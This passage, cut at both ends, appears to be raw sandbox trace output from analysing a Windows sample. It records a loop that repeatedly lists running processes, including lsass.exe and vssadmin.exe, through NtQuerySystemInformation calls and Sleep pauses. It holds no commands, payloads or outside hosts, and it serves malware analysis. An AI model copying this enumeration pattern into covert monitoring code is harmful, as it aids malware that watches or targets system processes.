SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0078.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0078.191] RtlFreeAnsiString (AnsiString="msoia.exe") [0078.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0078.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168970 [0078.191] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0078.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168970) returned 1 [0078.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0078.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0078.191] RtlFreeAnsiString (AnsiString="screensaver.exe") [0078.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0078.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0078.191] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0078.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0078.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0078.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31624a0 [0078.191] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0078.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31624a0) returned 1 [0078.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0078.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0078.192] RtlFreeAnsiString (AnsiString="surveillance.exe") [0078.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0078.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0078.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0078.192] RtlFreeAnsiString (AnsiString="legends.exe") [0078.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0078.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0078.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0078.192] RtlFreeAnsiString (AnsiString="miniature.exe") [0078.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0078.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0078.192] RtlFreeAnsiString (AnsiString="spies.exe") [0078.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0078.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0078.192] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0078.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0078.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0078.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161da8 [0078.192] RtlFreeAnsiString (AnsiString="allied.exe") [0078.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0078.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0078.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175ae8 [0078.193] RtlFreeAnsiString (AnsiString="geo.exe") [0078.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ae8) returned 1 [0078.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0078.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713d0 [0078.193] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0078.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0078.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0078.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713f0 [0078.193] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0078.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0078.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0078.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0078.193] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0078.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0078.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0078.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0078.193] RtlFreeAnsiString (AnsiString="dupleased.exe") [0078.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0078.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0078.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0078.193] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0078.194] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0078.194] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0078.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0078.194] RtlFreeAnsiString (AnsiString="dllhost.exe") [0078.194] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0078.194] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0078.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0078.194] RtlFreeAnsiString (AnsiString="conhost.exe") [0078.194] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0078.194] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0078.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0078.194] RtlFreeAnsiString (AnsiString="conhost.exe") [0078.194] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0078.194] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0078.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0078.194] RtlFreeAnsiString (AnsiString="svchost.exe") [0078.194] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0078.194] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0078.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0078.194] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0078.194] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0078.194] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0078.194] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0078.194] RtlFreeAnsiString (AnsiString="conhost.exe") [0078.195] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0078.195] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0078.195] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0078.195] RtlFreeAnsiString (AnsiString="explorer.exe") [0078.195] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0078.195] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0078.195] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0078.195] RtlFreeAnsiString (AnsiString="explorer.exe") [0078.195] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.195] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0078.195] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0078.195] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0078.195] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.195] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0078.195] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0078.195] RtlFreeAnsiString (AnsiString="conhost.exe") [0078.195] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0078.195] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0078.195] Sleep (dwMilliseconds=0x64) [0083.168] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0083.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.171] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0083.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.171] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0083.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.171] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0083.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.171] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0083.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0083.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0083.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0083.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.173] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0083.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.173] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0083.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.173] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0083.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.174] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0083.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.174] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0083.174] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.174] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0083.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.175] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0083.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.175] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0083.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.176] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0083.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.176] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0083.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.176] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0083.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.177] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0083.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.177] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0083.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.178] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0083.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.178] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0083.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.179] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0083.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.179] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0083.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.180] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0083.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.180] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0083.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.181] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0083.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.181] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0083.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0083.182] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0083.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0083.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0083.182] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175d18 [0083.182] RtlFreeAnsiString (AnsiString="System") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175d18) returned 1 [0083.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0083.183] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161dd8 [0083.183] RtlFreeAnsiString (AnsiString="smss.exe") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0083.183] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0083.183] RtlFreeAnsiString (AnsiString="csrss.exe") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0083.183] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0083.183] RtlFreeAnsiString (AnsiString="wininit.exe") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0083.183] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0083.183] RtlFreeAnsiString (AnsiString="csrss.exe") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0083.183] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0083.183] RtlFreeAnsiString (AnsiString="winlogon.exe") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0083.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0083.183] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0083.183] RtlFreeAnsiString (AnsiString="services.exe") [0083.183] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0083.184] RtlFreeAnsiString (AnsiString="lsass.exe") [0083.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0083.184] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dd8 [0083.184] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0083.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e68 [0083.184] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0083.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0083.184] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175cb8 [0083.184] RtlFreeAnsiString (AnsiString="dwm.exe") [0083.184] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175cb8) returned 1 [0083.184] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.184] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0083.184] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0083.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0083.185] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0083.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.185] 